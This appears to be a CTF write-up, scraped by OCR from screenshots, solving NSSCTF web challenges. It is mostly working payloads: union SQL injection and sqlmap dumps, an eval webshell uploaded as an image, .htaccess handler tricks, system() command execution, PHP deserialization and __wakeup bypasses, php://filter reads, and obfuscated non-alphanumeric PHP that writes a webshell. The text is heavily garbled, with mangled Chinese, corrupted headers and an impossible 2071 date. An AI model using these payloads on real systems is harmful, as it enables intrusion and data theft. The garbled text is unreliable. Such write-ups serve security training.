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http://3634-9f050b7a-212a-43c9.nss.ctfer.vip:9080/?json={%22x%22:%22wllm%22}

enctype
@@ Enable POST application/x-www-form-urlencoded
Body
id=wlimNB

get:?json={"x":"wWilm"}
post:id=wilmNB

Do_you_know_http
PHEARWLLM, HUser-AgentAWLLM

You can only read this at local!
XFF 127.0.0.1
X-Forwarded-For: 127.0.0.1

HE Rk B AR Blflag i B

Location: ./secrettit.php

aw | 2% | Hex

CSDN @EZMurnuzi

Raw | 3% | Hex | Render

&
T /-fa.php HTTP/M 1
it 3635-83bc30ea-ec69-4990.nss_ctfervip:9080
r-Agent WLLM
ept text/html,application/xhtml+xml,application/xml;q...
.ept-Language zh-CM,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=0.5.en-U_..
.ept-Encoding gzip, deflate
inection close
rade-Insecure-Reque_.. 1
arwarded-For 127.0.0.1

Vi 1] B A]
easy_md5

Hasd, JFEEEE

get:?name[]=0
post:password[]=1

HITP/1.1 302 Found

i Content—Length: &0
Content—Type: text/html; charset=UTF-8
il |53 Date. Fri. 01 Oct 2071 14-42:54 GMT

Location: ./secretttt.php

X-Powered-By: PHP/G. 6. 40

T Comnection: close

You can only read this at local! <br>Your addressi27.0.0.1



URL
http://1.14.71.254:28077/?name[]=0

enctype
@@ cnable POST application/x-www
Body
password[]=1 CSDN @ZMurmnuzi
easy_sql

unionBEEVEN, BHE—RIT
https://blog.csdn.net/kingdring/article/details/109685593

B
id=1" order by 1 -+
id=1" order by 2 -+
id=1" order by 3 -+
id=1" order by 4 -+
?2wllm=1" order by 3 --+
RI—3L3%]
ﬁ:ﬁ:
?2wllm=-1" union select 1,database(),3 --+
JEE fatest_db
B=
?2wllm=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test_db’ --+
F4test_tb

EAUEE

?2wllm=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘test_db’ and
table_name=‘test_tb’ --+

FBsflag
E R

?2wllm=-1" union select 1,database(),flag from test_tb --+


https://blog.csdn.net/kingdring/article/details/109685593
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Your Login name:test db
Your Password:NSSCTF{5112babd-76df-4f48-9eb0-e024a260a7e1}

easyupload1.0

X B4R, ATLMEE R, T H R B R 7 Z Content-Type: image/jpeg Bl 7]
HEED

Content-Length: 374

Origin: http://1.14.71.254: 28024

Comnection: close

Referer: http://1.14.71.254: 28024/

Coolzie: PHPSESSID=2117ToeeznjeT0o07j6i15uqgtql
Upgrade—Insecure—Requests: 1

Content—Type: text/html

<meta charset="utf-3">. fupload/backup. php succesfully uploaded!

43097198038954095092117133547
Content-Disposition: form-data; name="uploaded”; filename="hackup. php”
Content—Type: image/jpeg

<?php @eval (§_POST[ mumuzi® 1) ;7>
43097198038954095092117133547
Content-Disposition: form-data; name="submit”

GoGoGo!
43097198038954095092117133547—
CSDN @@zMumuzi
LVEsilpes
http://1.14.71.254:28024/upload/backup.php
R mumuzi
{8 & variwww/htmliflag.php T fiflag.php 2R K, EREREETE, HEEenv
EAphpshAT, FEEES— RS N<?php phpinfo(); 7>
Environment

APACHE_PID_FILE Ivarrun/apache2/apache2. pid

HOSTNAME bef9c 71049

APACHE_RUN_USER www-data

FLAG (501 [78b8394f-3479-4cd7-8b49-1557cb3bc b3}

APACHE_LOG_DIR Ivarflog/apache2

PATH Iusr!k}calr’sbin:Iusr!k}calfbin:Iusr!sbin:!usr!bin:!sbin:.‘pjg ST I I

SIIPFRVISOR GROLIP NAME o DR

BB
easyupload2.0

A1.0—#, RAEAZFephp, FAphtmlziiT T
X Kk Aag i 7E variwww/htmiflag.php F T




easyrce

HEH
url=system(‘ls /'); & i fllllaaaaaaggggggg
G url=system(‘cat ffilllaaaaaaggggggg’);BF AT

babyrce

f&—A~cookie, Jyadmin=1EJ#]

& Blrasalghul.php

RIERMLWAT, G2, Fpwn1 K77 AR A]
rasalghul.php?url=Is$IFS$1/ j Hiflllaaaaaaggggggyg

A Jerasalghul.php?url=cat$IF S$1/flllaaaaaaggggggg B AT

ez_unserialize

RERAAZRFIIML, InEK
http://www.manongjc.com/detail/17-iffyxbsaebsmupt.htmi
E-THET

JE Y User-agent: *

Disallow: t+4 KW ? $#27rrobots.txt

& B/cl45s.php

AR5 BRAE B IR R A e S R AT
cl45s.php?p=0:4:"wlim”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf";}

include

B AER

XA, php /Pl
?file=php:/ffilter/convert.base64-encode/resource=flag.php
base64f# L BN ]

error

WAEEN, ZETunionBREIE AN LB T EBFiE, XMNRKEAF3, HE Esqimap
sqlmap -u “http://1.14.71.254:28188/index.php?id=1" --dbs

sqlmap -u “http://1.14.71.254:28188/index.php?id=1" -D test_db --tables

sqlmap -u “http://1.14.71.254:28188/index.php?id=1" -D test_db -T test_tb --columns
sqlmap -u “http://1.14.71.254:28188/index.php?id=1" -D test_db -T test_tb -C flag --dump


http://www.manongjc.com/detail/17-iffyxbsaebsmupt.html

] fetching entries
~."|.— -
FO] retrieved:
Database: test_db
test_tb

1 [Ine
11
1 [1

+
|
+
|
+

t_th' dumped to CSV file '/home/mumuz
gged to text files under '/home/mumuzi/.

CSDN @ZMumuzi

no_wakeup

AEwakeup, HRRFIIMNERAE, KIXBE
https://www.cnblogs.com/Mrsm1th/p/6835592.html

LETTENRTA + 2 [SRSAa4ET weakup BE— T SIS CVERR -=) M4pamsEkF s
[wakeuglsi(CVE-2016-7124) AT EITHE

O:6:"sercet™1: tBFiREAL1ARYER{T N0:6:"sercet™:2:

POCl: TzorNjolc2VyY¥2V0IjozOntz0]Ey0iIlAc2VyY2V0AGZpbGUIO3MEMTIGINRoZVIuzZXh0LnBocCITEQ==

iX B FEE &adminfllpasswd, 24

AEATHEA3

payload:
0:6:*HaHaHa”:3:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wlim”;}

B =R
easyupload3.0

HAFMRER R, BEFR—T, tbwmFdH— notfound i, KILAZApache/2.4.7 (Ubuntu) , BESRRZ Apache, T R2BiLF]
H .htaccesskgetshell

php.iniZ&phpf)— A& R E X, ST webR&SAEMER; 1.user.inifl.htaccess— & B MR E S04

X B A a4 £ Apache, F7&H .htaccess, EHEA

<FilesMatch “mu”>
SetHandler application/x-httpd-php
</FilesMatch>


https://www.cnblogs.com/Mrsm1th/p/6835592.html

BRER, HERHLFEmulti ST Bphp, A5x4 htaccessZ 5, B E&E—NpgBH, £FRmumujpg. &GS
url/upload/mumu.jpg, %5 B S ¥ I

http://7453-c35ca3f7-b3bb-41d8.nss.ctfer.vip: 9080/ upload/mumu.jpg

mumuzi

UTF8 |E|

PHP v
ey

(=) default (=)
) random (AHETE)

() base64

flag”E variwww/html/flag.php T

finalrce

WRPATEMAFSE, HEXEFAEE, WHAIEMAncHbash, RMREAT T, XEERKEHMEEHIITHHFSEREE
b, RXHERENE.
HEAE

linuscts i i 45 R 5 A\ SCHFA IR 75 v



& RIX R %

1. FHEEEFES R HEFRILnuxsRiBUE fHlinuxar$ {79, EERER>F0>>355 .
S amHEEREIG EiRZods FRIAFMEIERS. »>EraFaSEtRnEr

HREAE RS RFE. .

2. [Ffteetn S BEHI PEEFERFRDUGF IER—) BEE TSR SEm SRt A=

B4 e Eth A SR FERIE TB Linuxbiteetn SR LUEREULRIRR, S5

Y ) [ a5 = =

linux dHHZIRA Fr AMeHELinuxap S EFS DUERTRRTTE &

A .
CSDMN @zZMurmuzi

G2 KB command | tee file.txt
HE

url=N\s / | tee 1.txt

2 Kk Pflllaaaaaaggggggg
Wa

url=tac /fllilaaaaaaggggggg | tee 2.txt

5 18] 2.t B |

hardrce

L7, PEEAMES, TRKXMH~Kgetshell

yul# & https://blog.csdn.net/miuzzx/article/details/109143413
HAm] DL B system 2 (~%8C %86%8C %8B %9A%92)

T T B OHEES 2 —ANDIRHSEE

sEEEAM 2B 4
B Sesystem(ls /);

2WIm=~(~%8C%86%8C %8B %9A%92)(~%93%8c%df%d0);

KIiflllaaaaaaggggggg
R JEtac Millaaaaaaggggggg P AT

2WIm=~(~%8C%86%8C%8B%9A%92)
(~%8b %9e%9c%df%d0 %99 %93 %93 %93 %93 %93 %9e Y%9e %9e %9e %9e %9e %98 %98 %98 %98 %98 %98 %98);

PseudoProtocols


https://blog.csdn.net/miuzzx/article/details/109143413

BEhintphp N2, Fphp://HhHHL

?wilm=php://filter/read=convert.base64-encode/resource=hint.php

73

<?php
/lgo to /test2222222222222.php
7>

¥R R EBEHCTF file_get _contents, HiiE 3|
@ #surl R Zs I 2file=php://input

@ W Inposti A2 xx

FRHbpA

Host: T447-T1hdf86e-882c-4403. nss. ctfer. vip: 9080

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; WinG4: =64) AppleWebEit/537.36 (KHTML.
like Gecko) Chrome/94,0,4608, 71 Safari/337. 36

Lecept:

text/htnl, application/zhtnl+znl, application/=ml;q=0. 9, inage/avif, inage/webhp, inage/ap
ng, #/*;q=0. 8, application/signed-exchange;v=h3; ¢=0.9

Lecept—Encoding: gzip, deflate

Aecept—Language: zh-CN, zh:;g=0.9

Commection: close

Content-Length: 11

1| want flag

sql

I T B +. =, rights and%F, TR LAMRE, FSTLHIkeRE, RETETHEER.
ERAIEFRIER, AAEHFEEN

e

HITP/1.1 200 OK

Content-Length: 1648

Content-Type: text/html; charset=UTF-8
Date: Wed, 06 Oct 2021 14:26:37 GMT
Server: Apache/2.4.25 (Debian)

Vary: Accept-Encoding

X-Powered-By: PHP/5.6. 40

Comnection: close

<coder<span style="color: Z000000">

<span style="color:

20077007 > (</spanr<span style="color: ZDDOO00">"max_executi
style="color: 2007700">, &nbsp:</span><span style="color:
ZDD0000">" 180" </spanr<span style="color: Z00TT00":) ;<hr /<
style="color: Z0000BE">show_source</span><{span style="colo:
Z007700"> (</span><span style="color: #O00O0BE"»__FILE__</sp:

20077007>) ;:<br /rinclude (</span’<{span style="colox:
D00 "7 flag. php’ </span><span style="color: 0

N[

style="color: Z0000BB":$ad/span’<span style="color: 20077

frif (isset (</span><span style="color: #0000BE":»$a</span-<s
20077007 >) &amp ; &amp ; (</span’<span style="color:
0000BB">»file_get_contents</span’<span style="color: #00

1
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style="color: =ZDDOOO
20077007 ) ) &nbsp

Tyt < span’<span style="colox:
=&nbsp; </span’<span style="color:

ZDD0000" " I&nbsp ; want&nbsp: flag’ </spans<span style="colo
/»&nbsp : &nbsp ;&nbsp ; &nbsp ; echodnbsp: </span’<span style=
ZDD0000" > " success\n” </ span><span style="color: Z00TT00" ;<
/&nbsp ; &nbsp ;&nbsp; &nbsp ; echodnbsp; </span’<span style=
Z0000BE" >$flag</span><span style="color: ZO0TTO0"::<hr 2}«
style="color: Z0000BE"»P?&gt;</span>
</span>
</codersuccess
NSSCTF {18613f91-bfle—46f9-a3df-1a2eafadbT17}

CSDN @zZMumuzi

BEILTLT flag
REBETFB
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RIXERGRE BRI, W55 TrightiR %, B A mids %
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hardrce_3

E

RPITEEE, PINE R B

https://blog.csdn.net/miuzzx/article/details/109143413
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WA, A R Eurldmtd T
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éz\\:

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27 %5D%3B%24 %
3D%24_%3B%24__ %3D%24_%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B
%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24
%2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B
%3B%24__ .%3D%24__%3B%24 _ .%3D%24__ %3B%24 _ %3D%24 %3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B
%3B%24__ %2B%2B%3B%24 . %3D%24 _ %3B%24__ %3D%24_%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B
%24 %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24 %2
B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B
%24 %2B%2B%3B%24__.%3D%24__ %3B%24__ %3D%24_%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24
_ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2
B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24
_ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__.%3D%24__ %3B%24____ %3D%27_%27%3B%24__ %3D%24_%3B
%24 %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24 %2
B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B
%24 %2B%2B%3B%24__ %2B%2B%3B%24  .%3D%24__ %3B%24__ %3D%24_%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%2
4 %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__%2B%
2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 __.%3D%24__ %
3B%24__ %3D%24_%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24
%2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%
3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24
_%3D%24__ %3B%24__ %3D%24_%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B
%2B%3B%24__ %2B%2B%3B%24__%2B%2B%3B%24__ %2B%2B%3B%24 _ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%
24 %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B%2B%3B%24__ %2B
%2B%3B%24__ %2B%2B%3B%24 . %3D%24__ %3B%24_%3D%24%24 ___ %3B%24___ %28%24 %5B_%5D%29%3B

Ja get—Awlim=_ETH i)

post—“/ phpinfo();, K ¥Isystem,exec,shell_exec,popen,proc_open,passthrufl 2% f

(=]

RATUHZAN T NG EREE X,

file_put_contents(), S AN A BIXMEH, B—NSERXME, ENSHENE

_=file_put_contents(‘1.php’,’<?php @eval($_POST['aaa']);?>’);


https://blog.csdn.net/miuzzx/article/details/109143413

RIS /1.php, Htaaa. & EEIA]
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